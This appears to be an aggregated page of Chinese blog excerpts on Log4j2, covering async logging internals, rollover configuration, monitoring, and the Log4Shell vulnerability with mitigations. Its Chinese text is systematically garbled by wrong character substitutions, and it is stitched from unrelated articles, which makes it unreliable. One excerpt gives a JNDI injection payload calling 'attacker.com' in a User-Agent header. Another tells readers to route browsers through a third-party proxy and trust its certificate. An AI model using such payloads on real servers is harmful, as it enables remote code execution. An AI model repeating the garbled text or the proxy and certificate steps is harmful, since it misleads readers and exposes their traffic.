Log4j2

log4j2 中logger,appender关系log4j2中Appender/Logger/Root 关系https://blog.csdn.net/HongZeng_CSDN/article/details/130094219 《Log4j 2 官网文档》多余性（Additivity）http://ifeve.com/log4j-2-additivity/

前言在日志-log4j2基于AsyncAppender的异步日志打印一文中，剖析了Log4j2如何基于AsyncAppender来实现异步日志打印，本篇文章将剖析Log4j2如何基于AsyncLogger来实现异步日志打印。 本篇文章会波及局部Disruptor队列的相干概念，如果不相熟Disruptor队列，能够先浏览多线程学习-Disruptor队列理解相干概念。 Log4j2版本：2.17.1 注释首先搭建示例工程。引入依赖如下所示。 <dependencies> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-slf4j-impl</artifactId> <version>2.17.1</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.17.1</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.17.1</version> </dependency> <dependency> <groupId>com.lmax</groupId> <artifactId>disruptor</artifactId> <version>3.4.0</version> </dependency></dependencies>打印日志的测试类如下所示。 public class LearnLog4j2Async { private static final Logger logger = LoggerFactory .getLogger(LearnLog4j2Async.class); public static void main(String[] args) { logger.info("{} be happy every day.", "Lee"); }}要应用AysncLogger，须要在Log4j2的配置文件中应用<AsyncLogger>标签配置一个异步Logger，并为这个异步Logger配置非异步Appender。配置如下所示。 <?xml version="1.0" encoding="UTF-8"?><Configuration status="INFO"> <Appenders> <!-- 配置两个非异步Appender --> <Console name="MyConsole" target="SYSTEM_OUT"> <ThresholdFilter level="INFO" onMatch="ACCEPT" onMismatch="DENY"/> <PatternLayout pattern="%msg%n"/> </Console> <RollingFile name="MyFile" fileName="mylog.log" filePattern="mylog.log.%i"> <ThresholdFilter level="INFO" onMatch="ACCEPT" onMismatch="DENY" /> <PatternLayout pattern="%msg%n"/> <SizeBasedTriggeringPolicy size="20M"/> </RollingFile> </Appenders> <Loggers> <!-- 为根Logger配置非异步Appender --> <Root level="INFO"> <Appender-ref ref="MyConsole"/> <Appender-ref ref="MyFile"/> </Root> <!-- 定义一个异步Logger并为其配置非异步Appender --> <AsyncLogger name="com.lee.learn.log4j2.asynclogger.LearnLog4j2Async" level="INFO" additivity="false"> <appender-ref ref="MyConsole"/> </AsyncLogger> </Loggers></Configuration>已知Log4j2框架在首次获取Logger时，会初始化LoggerContext，而初始化LoggerContext时有一个步骤就是将Log4j2配置对象XmlConfiguration设置给LoggerContext并启动XmlConfiguration，这里看一下XmlConfiguration的start()办法，如下所示。 ...

前言在日志-log4j2日志框架源码学习一文中，对Log4j2的整体构造和同步打印流程进行了一个初步学习，本篇文章将对Log4j2异步打印流程进行学习。在同步日志打印中，利用业务逻辑与日志打印在一个线程中，利用后续业务逻辑须要期待日志打印实现能力继续执行，而异步日志打印中，利用业务逻辑与日志打印在不同线程中，Log4j2有专门的线程来实现日志打印而不会阻塞利用后续业务逻辑的执行。Log4j2提供了两种形式来配置异步日志打印，别离是AsyncAppender和AsyncLogger，本篇文章先对AsyncAppender进行学习。 Log4j2版本：2.17.1 注释首先须要搭建示例工程，在pom文件中引入Log4j2的依赖。 <dependencies> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-slf4j-impl</artifactId> <version>2.17.1</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.17.1</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.17.1</version> </dependency></dependencies>再创立一个打印日志的测试类，如下所示。 public class LearnLog4j2Async { private static final Logger logger = LoggerFactory .getLogger(LearnLog4j2Async.class); public static void main(String[] args) { logger.info("{} be happy every day.", "Lee"); }}应用AsyncAppender的形式来配置异步日志打印，是基于<Async>标签来配置并失去异步Appender，打印日志时待打印的日志会被增加到异步Appender的阻塞队列中，而后由一个专门的后盾线程生产阻塞队列中的待打印日志，这里的阻塞队列是ArrayBlockingQueue。应用AsyncAppender的形式的配置的一个例子如下所示。 <?xml version="1.0" encoding="UTF-8"?><Configuration status="INFO"> <Appenders> <!-- 配置两个失常的Appedner --> <Console name="MyConsole" target="SYSTEM_OUT"> <ThresholdFilter level="INFO" onMatch="ACCEPT" onMismatch="DENY"/> <PatternLayout pattern="%msg%n"/> </Console> <RollingFile name="MyFile" fileName="mylog.log" filePattern="mylog.log.%i"> <ThresholdFilter level="INFO" onMatch="ACCEPT" onMismatch="DENY" /> <PatternLayout pattern="%msg%n"/> <SizeBasedTriggeringPolicy size="20M"/> </RollingFile> <!-- 让异步Appedner援用失常Appender --> <Async name="MyAsync"> <AppenderRef ref="MyConsole"/> <AppenderRef ref="MyFile"/> </Async> </Appenders> <Loggers> <!-- 让根日志打印器援用异步Appender --> <Root level="INFO"> <Appender-ref ref="MyAsync"/> </Root> </Loggers></Configuration>通过上述的配置，在测试程序中的logger会继承应用根日志打印器的LoggerConfig，也就持有了name为MyAsync的异步Appender，那么在打印日志时，最终会调用到异步Appender的append()办法，这里理论会调用到AsyncAppender的append()办法，如下所示。 ...

11

自 12 月 9 日 Apache Log4j 2 “惊天破绽”被曝出后，寰球泛滥科技企业已受到其影响。12 月 17 日，谷歌方面发表已对该事件进行了考察，并于 12 月 21 日将后果颁布在了 Google cloud 官网页面上。 据 Google cloud 页面上 12 月 21 日颁布的考察结果显示：面向消费者和付费用户的 Google Workspace 外围服务没有应用 Log4j2，也没有受到 CVE-2021-44228 和 CVE-2021-45046 “破绽”的影响。谷歌方面示意将为此平安征询提供工作区外围服务的具体状态。 谷歌方面示意，Google Cloud 正在积极关注开源 Apache“Log4j 2”实用程序（CVE-2021-44228 和 CVE-2021-45046）中的安全漏洞。他们曾经留神到了报告的 Apache“Log4j 1.x”破绽（CVE-2021-4104），并倡议用户更新到 Log4j2 的最新版本。 12 月 17 日，在 Google cloud 博客页面上，谷歌开源洞察小组（Open Source Insights Team）解释了他们察看到的对于 Apache Log4J 破绽的全副状况。他们形容了宽泛存在的破绽以及修复开源 JVM 生态系统的以后停顿。 随后，谷歌评估了该破绽对 Google cloud 产品和服务的潜在影响，并依据正在进行的调查结果，提供开源Apache“Log4j 2”破绽对 Google cloud 产品和服务的潜在影响做实时更新。谷歌方面示意，这将是一个继续的流动，后续也将持续通过此页面和客户沟通渠道提供更新。 ...

作者：SRE运维博客博客地址：https://www.cnsre.cn/ 文章地址：https://www.cnsre.cn/posts/211213210004/相干话题：https://www.cnsre.cn/tags/Log4j/近日的Log4j2，可是十分的火啊，我也是加班加点把补丁给打上了次安心。Apache Log4j2存在近程代码执行破绽，教训证，该破绽容许攻击者在指标服务器上执行任意代码，可导致服务器被黑客管制。因为Apache Log4j 2利用较为宽泛，倡议应用该组件的用户尽快采取安全措施。 影响范畴破绽影响版本： 2.0 <= Apache Log4j 2 <= log4j-2.15.0-rc1 破绽形容Apache Log4j 2是一个基于Java的日志记录工具，是对 Log4j 的降级。近日安恒信息应急响应核心监测到Apache Log4j 2存在近程代码执行破绽，攻击者可通过结构歹意申请利用该破绽实现在指标服务器上执行任意代码。 破绽修复因为Log4j2 作为日志记录根底第三方库，被大量Java框架及利用应用，只有用到 Log4j2 进行日志输入且日志内容能被攻击者局部可控，即可能会受到破绽攻打影响。因而，该破绽也同时影响寰球大量通用利用及组件，例如 ：Apache Struts2、Apache Solr、Apache Druid、Apache Flink、Apache Flume、Apache Dubbo、Apache Kafka、Spring-boot-starter-log4j2、ElasticSearch、Redis、Logstash等倡议及时查看并降级所有应用了 Log4j 组件的零碎或利用。 紧急： 目前破绽POC已被公开，官网已公布平安版本，倡议应用该组件的用户尽快采取安全措施。 临时性缓解措施：1、在 jvm 参数中增加 -Dlog4j2.formatMsgNoLookups=true2、零碎环境变量中将LOG4J_FORMAT_MSG_NO_LOOKUPS 设置为 true3、创立 log4j2.component.properties 文件，文件中减少配置 log4j2.formatMsgNoLookups=true4、若相干用户临时无奈进行降级操作，也可通过禁止Log4j中SocketServer类所启用的socket端对公网凋谢来进行防护5、禁止装置log4j的服务器拜访外网，并在边界对dnslog相干域名拜访进行检测。局部公共dnslog平台如下 ceye.iodnslog.linkdnslog.cndnslog.iotu4.orgawvsscan119.autoverify.cnburpcollaborator.nets0x.cn彻底修复破绽：建议您在降级前做好数据备份工作，防止出现意外研发代码修复：降级到官网提供的 log4j-2.15.0-rc2 版本https://github.com/apache/log... 破绽检测工具检测工具下载地址 https://pan.cnsre.cn/d/Package/Linux/360log4j2.zip 破绽检测浏览器被动式扫描检测计划原理工程师可设置该代理通过浏览器被动扫描指标，查看 DNS Log 检测是否存在 log4j 破绽。应用办法1.浏览器或操作系统配置 HTTP/HTTPS 代理：219.141.219.69:18080 2.浏览器或操作系统将下列证书增加到信赖名单：附件sqli-hunter.pem 3.应用浏览器失常进行指标浏览，当完结扫描后，在http://219.141.219.69:18000/ 下查看是否存在以指标域名为名的 txt 文件，如 http://219.141.219.69/360.cn.txt 4.若存在，则阐明指标网站存在破绽，细节如下： 可看到残缺 HTTP 申请细节，params参数为存在 log4j 注入破绽的参数 ...

背景最近互联网技术圈最火的一件事莫过于Log4j2的破绽了。同时也涌现出了各类剖析文章，对于破绽的版本、破绽的起因、破绽的修复、程序员因而加班等等。 常常看我文章的敌人都晓得，面对这样热门有意思的技术点，怎能错过深入分析一波呢？大略你也曾经据说了，造成破绽的”罪魁祸首“是JNDI，明天咱们就聊它。 JNDI，好相熟，但……相熟的陌生人？JNDI到底是个什么鬼？好吧，如果你曾经有一两年的编程教训，但还不理解JNDI，甚至没听说过。那么，要么连忙换工作，要么连忙读读这篇文章。 JNDI是个什么鬼？说起JNDI，从事Java EE编程的人应该都在用着，但知不知道本人在用，那就看你对技术的钻研深度了。这次Log4j2曝出破绽，不正阐明大量我的项目或间接或间接的在用着JNDI。来看看JNDI到底是个什么鬼吧？ 先来看看Sun官网的解释： Java命名和目录接口（Java Naming and Directory Interface ，JNDI）是用于从Java应用程序中拜访名称和目录服务的一组API。命名服务行将名称与对象相关联，以便能通过相应名称拜访这些对象。而目录服务即其对象具备属性及名称的命名服务。 命名或目录服务容许你集中管理共享信息的存储，这在网络应用程序中很重要，因为它能够使这类应用程序更加统一和易于治理。例如，能够将打印机配置存储在目录服务中，这样所有与打印机相干的应用程序都可能应用它。 概念是不是很形象，读了好几遍都没懂？一图胜千言： 看着怎么有点注册核心的意思？是的，如果你应用过Nacos或读过Nacos的源码，Naming Service这个概念肯定很相熟。在JNDI中，尽管实现形式不同、利用场景不同，但并不影响你通过类比注册核心的形式来了解JNDI。 如果你说没用过Nacos，那好，Map总用过吧。疏忽掉JNDI与Map底层实现的区别，JNDI提供了一个相似Map的绑定性能，而后又提供了基于lookup或search之类的办法来依据名称查找Object，好比Map的get办法。 总之，JNDI就是一个标准，标准就须要对应的API（也就是一些Java类）来实现。通过这组API，能够将Object（对象）和一个名称进行关联，同时提供了基于名称查找Object的路径。 最初，对于JNDI，SUN公司只是提供了一个接口标准，具体由对应的服务器来实现。比方，Tomcat有Tomcat的实现形式，JBoss有JBoss的实现形式，恪守标准就好。 命名服务与目录服务的区别命名服务就是下面提到的，相似Map的绑定与查找性能。比方：在Internet中的域名服务（domain naming service，DNS），就是提供将域名映射到IP地址的命名服务，在浏览器中输出域名，通过DNS找到相应的IP地址，而后拜访网站。 目录服务是对命名服务的扩大，是一种非凡的命名服务，提供了属性与对象的关联和查找。一个目录服务通常领有一个命名服务（然而一个命名服务不用具备一个目录服务）。比方电话簿就是一个典型的目录服务，个别先在电话簿里找到相干的人名，再找到这个人的电话号码。 目录服务容许属性（比方用户的电子邮件地址）与对象相关联（而命名服务则不然）。这样，应用目录服务时，能够基于对象的属性来搜寻它们。 JNDI架构分层JNDI通常分为三层： JNDI API：用于与Java应用程序与其通信，这一层把应用程序和理论的数据源隔离开来。因而无论应用程序是拜访LDAP、RMI、DNS还是其余的目录服务，跟这一层都没有关系。Naming Manager：也就是咱们提到的命名服务；JNDI SPI（Server Provider Interface）：用于具体到实现的办法上。整体架构分层如下图： 须要留神的是：JNDI同时提供了应用程序编程接口（Application Programming Interface ，API）和服务提供程序接口（Service Provider Interface ，SPI）。 这样做对于与命名或目录服务交互的应用程序来说，必须存在一个用于该服务的JNDI服务提供程序，这便是JNDI SPI发挥作用的舞台。 一个服务提供程序基本上就是一组类，对特定的命名和目录服务实现了各种JNDI接口——这与JDBC驱动程序针对特定的数据系统实现各种JDBC接口极为类似。作为开发人员，不须要放心JNDI SPI。只需确保为每个要应用的命名或目录服务提供了一个服务提供程序即可。 JNDI的利用上面再理解一下JNDI容器的概念及利用场景。 JNDI容器环境JNDI中的命名（Naming），就是将Java对象以某个名称的模式绑定（binding）到一个容器环境（Context）中。当应用时，调用容器环境（Context）的查找（lookup）办法找出某个名称所绑定的Java对象。 容器环境（Context）自身也是一个Java对象，它也能够通过一个名称绑定到另一个容器环境（Context）中。将一个Context对象绑定到另外一个Context对象中，这就造成了一种父子级联关系，多个Context对象最终能够级联成一种树状构造，树中的每个Context对象中都能够绑定若干个Java对象。 JNDI 利用JNDI的根本应用操作就是：先创立一个对象，而后放到容器环境中，应用的时候再拿进去。 此时，你是否纳闷，干嘛这么吃力呢？换句话说，这么吃力能带来什么益处呢？ 在实在利用中，通常是由零碎程序或框架程序先将资源对象绑定到JNDI环境中，后续在该零碎或框架中运行的模块程序就能够从JNDI环境中查找这些资源对象了。 对于JDNI与咱们实际相结合的一个例子是JDBC的应用。在没有基于JNDI实现时，连贯一个数据库通常须要：加载数据库驱动程序、连贯数据库、操作数据库、敞开数据库等步骤。而不同的数据库在对上述步骤的实现又有所不同，参数也可能发生变化。 如果把这些问题交由J2EE容器来配置和治理，程序就只需对这些配置和治理进行援用就能够了。 以Tomcat服务器为例，在启动时能够创立一个连贯到某种数据库系统的数据源（DataSource）对象，并将该数据源（DataSource）对象绑定到JNDI环境中，当前在这个Tomcat服务器中运行的Servlet和JSP程序就能够从JNDI环境中查问出这个数据源（DataSource）对象进行应用，而不必关怀数据源（DataSource）对象是如何创立进去的。 这种形式极大地加强了零碎的可维护性，即使当数据库系统的连贯参数产生变更时，也与应用程序开发人员无关。 JNDI将一些要害信息放到内存中，能够进步拜访效率；通过 JNDI能够达到解耦的目标，让零碎更具可维护性和可扩展性。 JNDI实战有了以上的概念和基础知识，当初能够开始实战了。 在架构图中，JNDI的实现层中蕴含了多种实现形式，这里就基于其中的RMI实现来写个实例体验一把。 基于RMI的实现RMI是Java中的近程办法调用，基于Java的序列化和反序列化传递数据。 能够通过如下代码来搭建一个RMI服务： // ①定义接口public interface RmiService extends Remote { String sayHello() throws RemoteException;}// ②接口实现public class MyRmiServiceImpl extends UnicastRemoteObject implements RmiService { protected MyRmiServiceImpl() throws RemoteException { } @Override public String sayHello() throws RemoteException { return "Hello World!"; }}// ③服务绑定并启动监听public class RmiServer { public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry(1099); System.out.println("RMI启动，监听：1099 端口"); registry.bind("hello", new MyRmiServiceImpl()); Thread.currentThread().join(); }}上述代码先定义了一个RmiService的接口，该接口实现了Remote，并对RmiService接口进行了实现。在实现的过程中继承了UnicastRemoteObject的具体服务实现类。 ...

事件背景12月10日，看到朋友圈中曾经有人在通宵批改、上线零碎了。随即，又看到阿里云平安、腾讯安全部门收回的官网报告：”Apache Log4j2存在近程代码执行破绽“，且破绽已对外公开。 看到相干音讯，马上爬起来把所有我的项目的日志零碎过滤一遍，还好老我的项目采纳的log4j，新我的项目采纳的logback，没有中招。随后就看到朋友圈铺天盖地的相干音讯。 作为一个史诗级的事件，紧急批改破绽是必然的。作为程序员，如果看到这则音讯，连去核查一下零碎都做不到，那真的不是一个合格的程序员。 经验过这次事件，不仅是看热闹而已，还要思考一下，作为小公司如何防止、提前预防、做好筹备应答这类Bug。 破绽形容Apache Log4j2是一款优良的Java日志框架，与Logback平分秋色，大量支流的开源框架采纳了Log4j2，像Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。所以，这样一个底层框架呈现问题，影响面可想而知。 破绽信息：Apache Log4j 2.15.0-rc1 版本存在破绽绕过，需及时更新至 Apache Log4j 2.15.0-rc2 版本。 影响范畴：2.0 <= Apache log4j2 <= 2.14.1。 最新修复版本：https://github.com/apache/log... 补救计划计划一：降级版本，公布零碎； 计划二：长期补救： 批改JVM参数,设置 -Dlog4j2.formatMsgNoLookups=true。在波及破绽的我的项目的类门路（classpath）下减少log4j2.component.properties配置文件并减少配置项log4j2.formatMsgNoLookups=true。将零碎环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true。攻打原理攻打伪代码示例： import org.apache.log4j.Logger;import java.io.*;import java.sql.SQLException;import java.util.*;public class VulnerableLog4jExampleHandler implements HttpHandler { static Logger log = Logger.getLogger(log4jExample.class.getName()); /** * 示例伪代码：一个简略的HTTP端点，其中读取User Agent信息并进行日志记录； */ public void handle(HttpExchange he) throws IOException { // 获取user-agent信息 String userAgent = he.getRequestHeader("user-agent"); // 此行记录日志的代码，通过记录攻击者管制的HTTP用户代理标头来触发RCE。 // 攻击者能够设置他们的User-Agent header到${jndi:ldap://attacker.com/a} log.info("Request User Agent:" + userAgent); String response = "<h1>Hello There, " + userAgent + "!</h1>"; he.sendResponseHeaders(200, response.length()); OutputStream os = he.getResponseBody(); os.write(response.getBytes()); os.close(); }}基于上述代码的根本攻打步骤： ...

最近，业务增长的很迅猛，对于咱们后盾这块也是一个不小的挑战，这次遇到的外围业务接口的性能瓶颈，并不是独自的一个问题导致的，而是几个问题揉在一起：咱们解决一个之后，发上线，之后发现还有另一个的性能瓶颈问题。这也是我经验不足，导致没能一下子定位解决；而我又对咱们后盾整个团队有着执著的自尊，不想通过大量程度扩容这种形式挺过压力顶峰，导致线上间断几晚都呈现了不同水平的问题，必定对于咱们的业务增长是有影响的。这也是我不成熟和要反思的中央。这系列文章次要记录下咱们针对这次业务增长，对于咱们后盾微服务零碎做的通用技术优化，针对业务流程和缓存的优化因为只实用于咱们的业务，这里就不再赘述了。本系列会分为如下几篇： 改良客户端负载平衡算法开发日志输入异样堆栈的过滤插件针对 x86 云环境改良异步日志期待策略减少对于同步微服务的 HTTP 申请期待队列的监控以及云上部署，须要小心达到实例网络流量下限导致的申请响应迟缓针对零碎要害业务减少必要的侵入式监控针对 x86 云环境改良异步日志期待策略因为线上业务量级比拟大（日申请上亿，日活用户几十万），同时业务波及逻辑很简单，线上日志级别咱们采纳的是 info 级别，导致线上日志量十分宏大，所以咱们很早就应用了 Log4j2 异步日志。Log4j2 异步日志基于 Disruptor，其中的期待策略，本次优化前，咱们选用的是 BLOCK。 Log4j2 异步日志的期待策略Disruptor 的消费者做的事件其实就是一直查看是否有音讯到来，其实就是某个状态位是否就绪，就绪后读取音讯进行生产。至于如何一直查看，这个就是期待策略。Disruptor 中有很多期待策略，相熟多处理器编程的对于期待策略必定不会生疏，在这里能够简略了解为当工作没有到来时，线程应该如何期待并且让出 CPU 资源能力在工作到来时尽量快的开始工作。在 Log4j2 中，异步日志基于 Disruptor，同时应用 AsyncLoggerConfig.WaitStrategy 这个环境变量对于 Disruptor 的期待策略进行配置，目前最新版本的 Log4j2 中能够配置： switch (strategyUp) { case "SLEEP": final long sleepTimeNs = parseAdditionalLongProperty(propertyName, "SleepTimeNs", 100L); final String key = getFullPropertyKey(propertyName, "Retries"); final int retries = PropertiesUtil.getProperties().getIntegerProperty(key, 200); return new SleepingWaitStrategy(retries, sleepTimeNs); case "YIELD": return new YieldingWaitStrategy(); case "BLOCK": return new BlockingWaitStrategy(); case "BUSYSPIN": return new BusySpinWaitStrategy(); case "TIMEOUT": return new TimeoutBlockingWaitStrategy(timeoutMillis, TimeUnit.MILLISECONDS); default: return new TimeoutBlockingWaitStrategy(timeoutMillis, TimeUnit.MILLISECONDS);}原本，咱们应用的是基于 Wait/Notify 的 BlockingWaitStrategy。然而这种策略导致业务量突增的时候，日志写入线程在一段时间内始终未能被唤醒，导致 RingBuffer 中积压了很多日志事件。 ...

最近，业务增长的很迅猛，对于咱们后盾这块也是一个不小的挑战，这次遇到的外围业务接口的性能瓶颈，并不是独自的一个问题导致的，而是几个问题揉在一起：咱们解决一个之后，发上线，之后发现还有另一个的性能瓶颈问题。这也是我经验不足，导致没能一下子定位解决；而我又对咱们后盾整个团队有着执著的自尊，不想通过大量程度扩容这种形式挺过压力顶峰，导致线上间断几晚都呈现了不同水平的问题，必定对于咱们的业务增长是有影响的。这也是我不成熟和要反思的中央。这系列文章次要记录下咱们针对这次业务增长，对于咱们后盾微服务零碎做的通用技术优化，针对业务流程和缓存的优化因为只实用于咱们的业务，这里就不再赘述了。本系列会分为如下几篇： 改良客户端负载平衡算法开发日志输入异样堆栈的过滤插件针对 x86 云环境改良异步日志期待策略减少对于同步微服务的 HTTP 申请期待队列的监控以及云上部署，须要小心达到实例网络流量下限导致的申请响应迟缓针对零碎要害业务减少必要的侵入式监控开发日志输入异样堆栈的过滤插件咱们个别会在异样产生时，打印日志，同时日志中带有异样堆栈。 在线上因为某个根底组件或者某个存储慢导致大量超时异样产生时，如果都打印残缺的异样栈，则一下子会输入大量的日志，导致写入日志也会成为瓶颈（尽管咱们应用了 Log4j2 的异步日志 ，然而如果 RingBuffer 满了输入日志还是会导致业务线程阻塞）。从而导致同一微服务中其余原本失常的业务，也变得不失常了。 并且，咱们发现 为何 JVM 参数中退出 -XX:-OmitStackTraceInFastThrow为了防止这个问题可能首先想到的是，JVM 参数中去掉 -XX:-OmitStackTraceInFastThrow。这个 OmitStackTraceInFastThrow 默认是启用的，其作用是，当某个 JDK 内置异样通过某一个办法抛出过多次数时（常见是 NullPointerException），主动省略异样堆栈，其实就是 Throwable.getOurStacktrace() 返回空数组。底层实现的形式是当这些异样被抛出时，会记录在办法的 method_data 中。当这些异样被抛出时，查看对应办法的 method_data 是否有过多次数的这些异样被抛出，如果有，则应用不含堆栈的异样对象替换原有异样对象从而实现异样堆栈被疏忽。对应源码： graphKit.cpp bool treat_throw_as_hot = false; ciMethodData* md = method()->method_data(); if (ProfileTraps) { //如果有太屡次，则 treat_throw_as_hot 为 true if (too_many_traps(reason)) { treat_throw_as_hot = true; } if (C->trap_count(reason) != 0 && method()->method_data()->trap_count(reason) != 0 && has_ex_handler()) { treat_throw_as_hot = true; } } if (treat_throw_as_hot && (!StackTraceInThrowable || OmitStackTraceInFastThrow)) { ciInstance* ex_obj = NULL; switch (reason) { case Deoptimization::Reason_null_check: //对于 NullPointerException 返回对应的空堆栈的内置 NullPointerException 对象 ex_obj = env()->NullPointerException_instance(); break; case Deoptimization::Reason_div0_check: //对于 ArithmeticException 返回对应的空堆栈的内置 ArithmeticException 对象 ex_obj = env()->ArithmeticException_instance(); break; case Deoptimization::Reason_range_check: //对于 ArrayIndexOutOfBounds 返回对应的空堆栈的内置 NullPoArrayIndexOutOfBoundsinterException 对象 ex_obj = env()->ArrayIndexOutOfBoundsException_instance(); break; case Deoptimization::Reason_class_check: if (java_bc() == Bytecodes::_aastore) { //对于 ArrayStoreException 返回对应的空堆栈的内置 ArrayStoreException 对象 ex_obj = env()->ArrayStoreException_instance(); } else { //对于 ClassCastException 返回对应的空堆栈的内置 ClassCastException 对象 ex_obj = env()->ClassCastException_instance(); } break; default: break; }然而，咱们个别会在 JVM 启动参数中退出 -XX:-OmitStackTraceInFastThrow 将其敞开，次要起因是： ...

有时咱们须要滚动删除日志，不然日志会越积越多。从 log4j2 2.5 之后，在日志滚动的时候能够自定义删除操作，比方咱们心愿保留3天的日志，能够这么配置： - name: FileAppender fileName: /tmp/log/test.log filePattern: /tmp/log/test.log.%d{yyyy-MM-dd}" PatternLayout: pattern: %-d{yyyy-MM-dd HH:mm:ss.SSS} [%t] [%c] [%p] %m%n Policies: TimeBasedTriggeringPolicy: {} DefaultRolloverStrategy: Delete: basePath: /tmp/log maxDepth: 1 IfFileName: glob: "*.log.*" IfLastModified: age: 3dDefaultRolloverStrategy 中的 Delete 局部就是删除相干的配置 basePath 定义了扫描日志文件的根门路。maxDepth 定义了遍历的层级，1示意 bashPath 下的所有文件IfFileName 定义了扫描的文件格式IfLastModified 定义了只有在最初拜访工夫在3天以上的才会被删除这里须要留神 删除操作只会产生在日志滚动时，而滚动的机会取决于 filePattern 和 Triggering Policies （下面配置中 Policies 局部）IfFileName 指定删除的文件格式，只有符合条件都会被删除，并没有限度是通过以后服务输入。下面这样配置是为了只删除历史日志文件。IfFileName 和 IfLastModified 都属于 pathConditions。pathConditions 是一个数组，决定哪些文件会被删除，如果定义了多个，须要多个条件同时满足才会被删除。以上能满足个别的需要了，然而偶然删除过期数据还不足够，比方某个工夫日志量激增，可能会导致磁盘占满，所以须要加一个兜底策略。 - name: FileAppender fileName: /tmp/log/test.log filePattern: /tmp/log/test.log.%d{yyyy-MM-dd}" PatternLayout: pattern: %-d{yyyy-MM-dd HH:mm:ss.SSS} [%t] [%c] [%p] %m%n Policies: TimeBasedTriggeringPolicy: {} DefaultRolloverStrategy: Delete: basePath: /tmp/log maxDepth: 1 IfFileName: glob: "*.log.*" IfAny: IfLastModified: age: 3d IfAccumulatedFileSize: exceeds: 200GB这里改了一下条件，IfAny 示意或者，对于文件名合乎 .log. 格局的，最初拜访工夫为3天以上或总共超过 200GB 时都会删除文件。 ...

本系列是 我TM人傻了 系列第三期[捂脸]，往期精彩回顾： 降级到Spring 5.3.x之后，GC次数急剧减少，我TM人傻了这个大表走索引字段查问的 SQL 怎么就成全扫描了，我TM人傻了 最近组里用第三方给的 SDK 搞了点开发，最近线上忽然开始报错，并且发现一个特地奇怪的问题，组员和我说，代码运行到一半不走了，跳过了一段（这代码是刚加入东奥会加入跳远么？？？）。 代码如下，逻辑非常简单： try { log.info("initiate client with conf: {}", conf); SDKClient client = new SDKClient(conf); client.init(); log.info("client initiated");} catch (Exception e) { log.error("initiate client failed", e);}log.info("start to manipulate...");咱们发现 client 实际上没有初始化胜利，前面的业务解决始终在报错。查看日志，发现： initiate client with conf: xxxxxstart to manipulate...这就是组员说的代码产生了跳跃。因为既没有打印 client initiated，也没有打印 initiate client failed...就间接 start to manipulate... 了。 老读者晓得，咱们的线上是 k8s + Docker，并且每个镜像中内置了 Arthas，并且 Java 版本是 Java 16，并且启用了 JFR。日志中具备链路信息，通过 ELK Agent 拉取到对立日志服务器。 ...

如何监控 Log4j2 异步日志遇到写入瓶颈在之前的一篇文章中(一次鞭辟入里的 Log4j2 异步日志输入阻塞问题的定位)，咱们详细分析了一个经典的 Log4j2 异步日志阻塞问题的定位，次要起因还是日志文件写入慢了。并且比拟深刻的剖析了 Log4j2 异步日志的原理，最初给出了一些解决方案。 新的问题 - 如何更好的应答这种状况？之前提出的解决方案仅仅是针对之前定位的问题的优化，然而随着业务倒退，日志量必定会更多，大量的日志可能导致写入日志成为新的性能瓶颈。对于这种状况，咱们须要监控。 首先想到的是过程内部采集零碎指标监控：当初服务都提倡上云，并实现云原生服务。对于云服务，存储日志很可能应用 NFS（Network File System），例如 AWS 的 EFS。这种 NFS 一动都能够动静的管制 IO 最大承载，然而服务的增长是很难预估完满的，并且高并发业务流量根本都是一瞬间达到，仅通过 IO 定时采集很难评估到真正的流量尖峰（例如 IO 定时采集是 5s 一次，然而在某一秒内忽然达到很多流量，导致过程内大多线程阻塞，这之后采集 IO 看到 IO 压力貌似不大的样子）。并且，因为线程的阻塞，导致可能咱们看到的 CPU 占用貌似也不高的样子。所以，内部定时采集指标，很难真正定位到日志流量问题。 而后咱们思考过程本人监控，裸露接口给内部监控定时查看，例如 K8s 的 pod 健康检查等等。在过程的日志写入压力过大的时候，新扩容一个实例；启动实现后，在注册核心将这个日志压力大的过程的状态设置为临时下线（例如 Eureka 置为 OUT_OF_SERVICE，Nacos 置为 PAUSED），让流量转发到其余实例。待日志压力小之后，再批改状态为 UP，持续服务。 那么如何实现这种监控呢？ 监控 Log4j2 异步日志的外围 - 监控 RingBuffer依据之前咱们剖析 Log4j2 异步日志的原理，咱们晓得其外围是 RingBuffer 这个数据结构作为缓存。咱们能够监控其残余大小的变动来判断以后日志压力。那么怎么能拿到呢？ Log4j2 异步日志与 RingBuffer 的关系Log4j2 对于每一个 AsyncLogger 配置，都会创立一个独立的 RingBuffer，例如上面的 Log4j2 配置： <!--省略了除了 loggers 以外的其余配置--> <loggers> <!--default logger --> <Asyncroot level="info" includeLocation="true"> <appender-ref ref="console"/> </Asyncroot> <AsyncLogger name="RocketmqClient" level="error" additivity="false" includeLocation="true"> <appender-ref ref="console"/> </AsyncLogger> <AsyncLogger name="com.alibaba.druid.pool.DruidDataSourceStatLoggerImpl" level="error" additivity="false" includeLocation="true"> <appender-ref ref="console"/> </AsyncLogger> <AsyncLogger name="org.mybatis" level="error" additivity="false" includeLocation="true"> <appender-ref ref="console"/> </AsyncLogger></loggers>这个配置蕴含 4 个 AsyncLogger，对于每个 AsyncLogger 都会创立一个 RingBuffer。Log4j2 也思考到了监控 AsyncLogger 这种状况，所以将 AsyncLogger 的监控裸露成为一个 MBean（JMX Managed Bean）。 ...

